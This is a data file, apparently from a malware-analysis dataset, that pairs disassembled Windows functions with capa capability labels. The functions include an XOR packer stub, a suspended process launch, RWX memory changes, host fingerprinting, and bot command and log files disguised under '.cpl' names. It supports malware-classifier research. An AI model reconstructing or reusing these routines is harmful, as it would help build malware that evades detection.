joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43e460
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x28
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
mov dword [esp], 0xc8c9cacb
mov eax, 0x967dcd54
nop
nop
movzx edx, byte [esp + eax + 0x698232ac]
xor edx, eax
mov ecx, edx
and ecx, 0x5f
add ecx, ecx
xor edx, 0xa0
sub ecx, edx
mov byte [esp + eax + 0x698232ac], cl
inc eax
cmp eax, 0x967dcd58
jne 0x43e480
mov eax, dword [esp]
mov edx, dword [0x22965c]
test edx, edx
je 0x43e4f8
xor ebx, ebx
mov ecx, dword [0x229660]
nop
nop
nop
cmp dword [ecx + ebx*8], 0xa269eeef
je 0x43e4d0
inc ebx
cmp edx, ebx
jne 0x43e4c0
jmp 0x43e4f8
mov edx, dword [ecx + ebx*8 + 4]
cmp edx, eax
je 0x43e4f8
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0x18
push eax
push ecx
push dword [ebp + 8]
push 0x14
push edx
push dword [0x229664]
call fcn.0043c080
add esp, 0x20
test edi, edi
je 0x43e502
mov ecx, dword [esp + 8]
mov dword [edi], ecx
test esi, esi
je 0x43e50e
cmp byte [esp + 0x15], 0
setne byte [esi]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x43e680
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
mov esi, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
mov dword [esp + 4], 0xc8c9cacb
mov eax, 0x967dcd54
movzx edi, byte [esp + eax + 0x698232b0]
xor edi, eax
mov ebx, edi
and ebx, 0x5f
add ebx, ebx
xor edi, 0xa0
sub ebx, edi
mov byte [esp + eax + 0x698232b0], bl
inc eax
cmp eax, 0x967dcd58
jne 0x43e6a0
mov eax, dword [esp + 4]
mov ebx, dword [0x22965c]
test ebx, ebx
je 0x43e71e
xor ebp, ebp
mov edi, dword [0x229660]
nop
nop
cmp dword [edi + ebp*8], 0x88822328
je 0x43e6f0
inc ebp
cmp ebx, ebp
jne 0x43e6e0
jmp 0x43e71e
mov ebx, dword [edi + ebp*8 + 4]
cmp ebx, eax
je 0x43e71e
lea eax, [esp + 4]
push 0
push 0
push edx
push ecx
push eax
push 0
push 0
push 0
push dword [esp + 0x40]
push 0x24
push ebx
push dword [0x229664]
call fcn.0043c080
add esp, 0x30
cmp eax, 0x103
jne 0x43e7b9
mov dword [esp], 0xc8c9cacb
mov eax, 0x967dcd54
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x698232ac]
xor edx, eax
mov ecx, edx
and ecx, 0x5f
add ecx, ecx
xor edx, 0xa0
sub ecx, edx
mov byte [esp + eax + 0x698232ac], cl
inc eax
cmp eax, 0x967dcd58
jne 0x43e740
mov eax, dword [esp]
mov ecx, dword [0x22965c]
test ecx, ecx
je 0x43e7b1
xor edx, edx
mov edi, dword [0x229660]
nop
nop
nop
cmp dword [edi + edx*8], 0xa67d73aa
je 0x43e790
inc edx
cmp ecx, edx
jne 0x43e780
jmp 0x43e7b1
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je 0x43e7b1
push 0
push 0
push dword [esp + 0x28]
push 0xc
push ecx
push dword [0x229664]
call fcn.0043c080
add esp, 0x18
test eax, eax
js 0x43e7b9
mov eax, dword [esp + 4]
test esi, esi
je 0x43e7c3
mov ecx, dword [esp + 8]
mov dword [esi], ecx
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
mov ecx, 0x3df62562
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x709e54d2
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x431084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4099a4
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409a77
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409a90
push ebx
push 0x409a9c
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a24
mov al, 0x69
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00409978
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a2d
call fcn.00409978
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a7e
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409b30
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409be4
jmp 0x409bd9
cmp dword [esi + 0x10], 0x1000
jne 0x409bc5
test byte [esi + 0x15], 1
jne 0x409bc5
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409b84
cmp eax, 2
je 0x409b84
cmp eax, 0x10
je 0x409b84
cmp eax, 0x20
jne 0x409b99
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409b99
mov bl, 1
xor ebp, ebp
jmp 0x409baa
mov eax, dword [esi]
add eax, ebp
call fcn.00409b28
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409b9d
test bl, bl
je 0x409bc5
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409be4
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409b5c
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x408940
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop edi
inc ebx
call fcn.0040895f
xor dword [ecx], edi
inc ecx
sub ebx, 0x7bd21afb
dec ebx
cmp ecx, eax
jne fcn.00408940
add ebx, ebx
ret
Function at 0x10001080
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 8]
push esi
xor esi, esi
mov dword [0x10017f84], 2
mov dword [0x10017f88], 7
mov dword [0x10017f98], esi
mov dword [0x10017f90], esi
mov dword [0x10017f8c], esi
mov dword [0x10017f80], 0x30
mov dword [0x10017f94], esi
mov ecx, dword [eax]
push section..text
push ecx
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
cmp eax, esi
mov dword [0x10017c04], eax
je 0x100010f6
push 0x10017f80
push eax
mov dword [0x10017f98], esi
mov dword [0x10017f84], 4
mov dword [0x10017f94], esi
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
push esi
push esi
push esi
push 0x10001200
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
ret 8

Function at 0x10001d30
Capabilities:
Delete file

Disassembly:
sub esp, 0xc
push ebx
lea eax, [esp + 8]
push esi
xor ebx, ebx
push eax
push str.sconlogb.cpl
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebx
call fcn.10007e80
add esp, 8
test eax, eax
je 0x10001d59
mov dword [esp + 0xc], ebx
lea ecx, [esp + 8]
push ecx
push str.scmdlogb.cpl
call fcn.10007e80
add esp, 8
test eax, eax
je 0x10001d73
mov dword [esp + 8], ebx
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
push edi
lea edi, [eax + edx + 8]
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
cmp esi, ebx
jne 0x10001d96
mov eax, 0xfffffff6
jmp 0x10001dd8
mov ecx, dword [esp + 0xc]
lea eax, [esi + 4]
mov dword [esi], ecx
mov edx, dword [esp + 0xc]
push edx
push eax
push str.scmdlogb.cpl
call fcn.10007e00
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov dword [esi + edx + 4], ecx
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
lea edx, [esi + ecx + 8]
push eax
push edx
push str.sconlogb.cpl
call fcn.10007e00
add esp, 0x18
xor eax, eax
push esi
push edi
mov edi, dword [esp + 0x24]
push eax
mov eax, dword [esp + 0x2c]
add eax, 0x10
push eax
push edi
call fcn.10002070
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea ecx, [esp + 0x14]
push 0xb4
push ecx
push edi
call fcn.10007aa0
add esp, 0xc
test eax, eax
pop edi
je 0x10001e20
cmp dword [esp + 0x10], ebx
je 0x10001e20
pop esi
mov eax, 1
pop ebx
add esp, 0xc
ret
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.scmdlogb.cpl
call esi
push str.sconlogb.cpl
call esi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
Function at 0x100020e0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x30
push ebx
push ebp
push esi
mov esi, dword [esp + 0x40]
test esi, esi
push edi
je 0x1000218c
mov ebp, dword [esp + 0x48]
test ebp, ebp
je 0x1000218c
mov ebx, dword [esp + 0x4c]
test ebx, ebx
jle 0x1000218c
push 0
push 0x80
push 4
push 0
mov ecx, 0xc
lea edi, [esp + 0x20]
push 3
mov dword [esi + 0x28], ebx
push 0x40000000
push str.scmdlog.cpl
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000214b
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30
ret
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 0x44]
push 0
push eax
lea ecx, [esp + 0x18]
push 0x30
push ecx
push esi
call edi
lea edx, [esp + 0x44]
push 0
push edx
push ebx
push ebp
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x30
ret
pop edi
pop esi
pop ebp
mov eax, 0xfffffff7
pop ebx
add esp, 0x30
ret
Function at 0x100021a0
Capabilities:
Get cpu information
Get hostname
Get mac address on windows
Get system information on windows
Query or enumerate registry value

Disassembly:
mov eax, 0x2ba0
call fcn.10008380
push esi
push edi
mov edx, dword [0x10017c10]
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], 0
mov esi, 0x80
rep stosd dword es:[edi], eax
mov ecx, 0xdc
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
mov eax, dword [0x10017c08]
mov ecx, dword [0x10017c0c]
mov dword [esp + 0x40], edx
mov dword [esp + 0x38], eax
mov eax, dword [0x10017c14]
mov dword [esp + 0x3c], ecx
mov cx, word [0x10017c18]
lea edx, [esp + 0x364]
push 0x10017f34
push edx
mov dword [esp + 0x10], 0
mov dword [esp + 0x18], esi
mov dword [esp + 0x4c], eax
mov word [esp + 0x50], cx
call fcn.10008354
lea eax, [esp + 0x32c]
push 0x10017ef4
push eax
call fcn.10008354
add esp, 0x10
lea ecx, [esp + 8]
lea edx, [esp + 0x19e]
mov dword [esp + 8], esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [esp + 0x50]
push eax
call fcn.10002660
add esp, 4
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [esp + 0x28]
lea eax, [esp + 0xc]
push eax
push 1
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.WS2_32.dll_bind
mov dword [esp + 0x334], edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100022b7
lea ecx, [esp + 0x10]
lea edx, [esp + 0x21e]
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x1c]
push str.ProcessorNameString
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 8]
lea eax, [esp + 0x3a8]
push edx
push eax
mov dword [esp + 0x10], 0x2800
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x1000232f
mov ecx, 3
lea edi, [esp + 0x198]
lea esi, [esp + 0x53c]
xor edx, edx
repe cmpsw word [esi], word es:[edi]
lea eax, [esp + 0x3a8]
jne 0x10002315
mov eax, dword [eax]
test eax, eax
je 0x1000232f
mov ecx, 3
lea edi, [esp + 0x198]
lea esi, [eax + 0x194]
xor edx, edx
repe cmpsw word [esi], word es:[edi]
je 0x100022f6
add eax, 0x194
mov ecx, dword [eax]
mov dword [esp + 0x198], ecx
mov dx, word [eax + 4]
mov word [esp + 0x19c], dx
mov ecx, dword [esp + 0x2bb0]
mov edx, dword [esp + 0x2bac]
lea eax, [esp + 0x38]
add ecx, 0x10
push eax
push 0x370
push 0
push ecx
push edx
call fcn.10002070
add esp, 0x14
xor eax, eax
pop edi
pop esi
add esp, 0x2ba0
ret
Function at 0x10002460
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x374
push ebx
push ebp
push str.Read_Delay_Config_r_n
call fcn.100081f6
add esp, 4
xor ebp, ebp
push ebp
push 0x80
push 3
push ebp
push 3
push closesocket
push str.swinrm.ini
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100024a7
pop ebp
mov eax, 1
pop ebx
add esp, 0x374
ret
lea eax, [esp + 8]
push 0
push eax
lea ecx, [esp + 0x14]
push 0x370
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 8], 0x370
je 0x100024ce
mov ebp, 2
push esi
push edi
lea edx, [esp + 0x14]
push 0x370
push edx
push 0x100121d0
call fcn.10006ea0
add esp, 0xc
mov ecx, 0xdc
lea esi, [esp + 0x14]
mov edi, 0x10017c08
rep movsd dword es:[edi], dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x374
ret

Function at 0x10002560
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0xc54
test ax, ax
je 0x1000264d
push edi
and eax, 0xffff
push 0x100144f0
push eax
push 0x100144ec
push 0x100144e8
push 0x100144e4
push 0x100144e0
push 0x100144dc
push 0x100144d8
push 0x100144d4
push str.xe__
push 0x100144c8
lea eax, [esp + 0x84]
push str._sd.e_sc_n_ssh_srewa_s_ad_s_po_sop_sing_T_s__d___s_
push eax
call fcn.1000850c
lea ecx, [esp + 0x8c]
push 0x400
lea edx, [esp + 0x490]
push ecx
push edx
call fcn.100083af
xor eax, eax
mov ecx, 0x10
mov dword [esp + 0x48], eax
lea edi, [esp + 0x58]
mov dword [esp + 0x4c], eax
mov dword [esp + 0x54], 0x44
rep stosd dword es:[edi], eax
add esp, 0x40
lea ecx, [esp + 4]
lea edx, [esp + 0x14]
mov dword [esp + 0x10], eax
push ecx
push edx
push eax
push eax
push eax
push eax
push eax
mov word [esp + 0x60], ax
push eax
lea eax, [esp + 0x478]
push eax
push 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x68], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
pop edi
jne 0x1000264d
mov ecx, dword [esp]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
add esp, 0xc54
ret
mov eax, 3
add esp, 0xc54
ret
Function at 0x10002660
Capabilities:
Check os version
Get system information on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov ecx, 0x52
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
push esi
mov dword [esi], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x10002685
pop edi
pop esi
ret
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
push str.GetNativeSystemInfo
push str.kernel32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
test eax, eax
je 0x100026b0
lea ecx, [esi + 0x11c]
push ecx
call eax
jmp 0x100026bd
lea edx, [esi + 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [esi + 4], 6
jb 0x100026fb
push str.GetProductInfo
push str.kernel32.dll
mov dword [esp + 0x18], 0
call edi
push eax
call ebx
test eax, eax
je 0x100026f1
mov edx, dword [esi + 8]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esi + 4]
push 0
push 0
push edx
push ecx
call eax
mov edx, dword [esp + 0x10]
mov dword [esi + 0x140], edx
mov eax, dword [esi + 4]
pop ebx
cmp eax, 5
jne 0x10002718
cmp dword [esi + 8], 2
jne 0x10002718
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [esi + 0x144], eax
pop edi
mov eax, 1
pop esi
ret
Function at 0x10002750
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
sub esp, 0x220
push esi
push edi
push 0
push str.ssppmid
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov esi, dword [esp + 0x230]
mov edi, dword [esp + 0x22c]
push esi
lea eax, [esp + 0xc]
push edi
push eax
lea ecx, [esp + 0x28]
call fcn.10006740
mov ecx, dword [esp + 0x11]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x13]
and ecx, 0xff
and edx, 0xff
and eax, 0xff
xor ecx, edx
mov edx, dword [esp + 0x12]
and edx, 0xff
shl ecx, 8
xor eax, edx
mov edx, dword [esp + 0x14]
add ecx, eax
mov eax, dword [esp + 0x15]
and eax, 0xff
and edx, 0xff
shl ecx, 8
xor eax, edx
mov edx, dword [esp + 0x16]
add ecx, eax
mov eax, dword [esp + 0x17]
and eax, 0xff
and edx, 0xff
shl ecx, 8
xor eax, edx
mov edx, dword [esp + 0xb]
add ecx, eax
mov eax, dword [esp + 9]
push ecx
mov ecx, dword [esp + 0xc]
and eax, 0xff
and ecx, 0xff
xor eax, ecx
mov ecx, dword [esp + 0xe]
and edx, 0xff
and ecx, 0xff
shl eax, 8
xor edx, ecx
mov ecx, dword [esp + 0x10]
add eax, edx
mov edx, dword [esp + 0x11]
and edx, 0xff
and ecx, 0xff
shl eax, 8
xor edx, ecx
mov ecx, dword [esp + 0x12]
add eax, edx
mov edx, dword [esp + 0x13]
and edx, 0xff
and ecx, 0xff
shl eax, 8
xor edx, ecx
add eax, edx
lea edx, [esp + 0x24]
push eax
push str.ssppmid
push str._s_08x_08x
push edx
call fcn.1000858d
add esp, 0x14
lea eax, [esp + 0x20]
push eax
push str._t_SaveBotCmdFile_:_s_r_n
call fcn.100081f6
add esp, 8
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100028c2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.1000855e
add esp, 4
call fcn.1000856b
and eax, 0x8000ffff
jns 0x100028aa
dec eax
or eax, 0xffff0000
inc eax
lea edx, [esp + 0x20]
push eax
push edx
lea eax, [esp + 0x28]
push str._s_d
push eax
call fcn.1000858d
add esp, 0x10
push esi
lea ecx, [esp + 0x24]
push edi
push ecx
call fcn.10007f00
add esp, 0xc
test eax, eax
pop edi
pop esi
jne 0x100028e1
mov dword [0x10018020], 1
add esp, 0x220
ret
Function at 0x10003740
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x4c
push ebx
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push str.sconlog.cpl
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1000377b
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop ebx
add esp, 0x4c
ret
push esi
push edi
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, dword [esp + 0x5c]
mov ecx, 0x12
lea edi, [esp + 0x10]
lea eax, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
push 0
push eax
lea ecx, [esp + 0x18]
push 0x48
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x4c
ret

Function at 0x10003ca0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x14
push edi
push 0
push 0x80
push 2
push 0
push 3
push 0x40000000
push str.sblist.cpl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10003cd3
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
add esp, 0x14
ret
mov eax, dword [0x100180b0]
push esi
mov esi, dword [0x100180ac]
cmp esi, eax
je 0x10003d23
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esi]
push 0
mov dword [esp + 0x14], eax
mov ecx, dword [esi + 4]
lea eax, [esp + 0x10]
mov dword [esp + 0x18], ecx
mov edx, dword [esi + 8]
push eax
lea ecx, [esp + 0x18]
push 0x10
push ecx
push edi
mov dword [esp + 0x2c], edx
mov word [esp + 0x30], 0
call ebx
mov eax, dword [0x100180b0]
add esi, 0x10
cmp esi, eax
jne 0x10003cea
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop edi
add esp, 0x14
ret

Function at 0x100041a0
Capabilities:
Delete file
Write file on windows

Disassembly:
sub esp, 8
push esi
lea eax, [esp + 4]
push edi
push eax
push str.scmdlog.cpl
call fcn.10007e80
add esp, 8
mov dword [esp + 0xc], eax
test eax, eax
jne 0x1000424d
mov ecx, dword [esp + 8]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x1000424d
mov edx, dword [esp + 8]
push edx
push edi
push str.scmdlog.cpl
call fcn.10007e00
add esp, 0xc
mov dword [esp + 0xc], eax
test eax, eax
jne 0x1000424d
push eax
push 0x80
push 4
push eax
push 3
push 0x40000000
push str.scmdlogb.cpl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000424d
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 8]
lea eax, [esp + 0xc]
push 0
push eax
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.scmdlog.cpl
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
add esp, 8
ret
Function at 0x10004260
Capabilities:
Delete file
Write file on windows

Disassembly:
sub esp, 0xc
push esi
lea eax, [esp + 4]
push edi
push eax
push str.sconlog.cpl
mov dword [esp + 0x14], 0
call fcn.10007e80
add esp, 8
mov dword [esp + 0x10], eax
test eax, eax
jne 0x10004352
mov ecx, dword [esp + 8]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x10004352
mov edx, dword [esp + 8]
push edx
push edi
push str.sconlog.cpl
call fcn.10007e00
add esp, 0xc
mov dword [esp + 0x10], eax
test eax, eax
jne 0x10004352
lea eax, [esp + 0xc]
push eax
push str.sconlogb.cpl
call fcn.10007e80
add esp, 8
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push str.sconlogb.cpl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10004352
mov eax, dword [esp + 0xc]
push ebx
cmp eax, 0x15f900
mov ebx, 0x48
sbb ecx, ecx
xor edx, edx
and ecx, eax
push 0
mov eax, ecx
push 0
div ebx
sub ecx, edx
push ecx
push esi
mov dword [0x10017bc0], ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x14]
push 0
push ecx
push edx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.sconlog.cpl
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebx
pop edi
pop esi
add esp, 0xc
ret

Function at 0x10004360
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4

Function at 0x10006670
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x44
push ebx
push ebp
mov ebp, dword [esp + 0x58]
push esi
mov esi, ecx
push edi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], esi
rep stosd dword es:[edi], eax
mov edi, ebp
and edi, 0x3f
jbe 0x100066c0
mov edx, dword [esp + 0x5c]
mov ecx, eax
xor ebx, ebx
shr ecx, 2
mov bl, byte [edx]
lea esi, [esp + ecx*4 + 0x14]
mov ecx, eax
and ecx, 3
shl ecx, 3
shl ebx, cl
mov ecx, dword [esi]
xor ecx, ebx
inc edx
inc eax
mov dword [esi], ecx
cmp eax, edi
jb 0x10006699
mov esi, dword [esp + 0x10]
mov edx, ebp
mov ecx, ebp
shr edx, 2
and edx, 0xf
and ecx, 3
mov ebx, dword [esp + 0x58]
lea eax, [esp + edx*4 + 0x14]
lea ecx, [ecx*8 + 7]
mov edx, 1
shl edx, cl
mov ecx, dword [eax]
xor ecx, edx
cmp edi, 0x37
mov dword [eax], ecx
jbe 0x10006708
lea eax, [esp + 0x14]
mov ecx, esi
push eax
push ebx
call fcn.10004390
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov edx, dword [esp + 0x64]
lea ecx, [ebp*8]
mov dword [esp + 0x4c], ecx
lea ecx, [esp + 0x14]
shr ebp, 0x1d
lea eax, [edx*8]
push ecx
or ebp, eax
push ebx
mov ecx, esi
mov dword [esp + 0x58], ebp
call fcn.10004390
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret 0x10

Function at 0x10007690
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
neg eax
add esp, 0x190
ret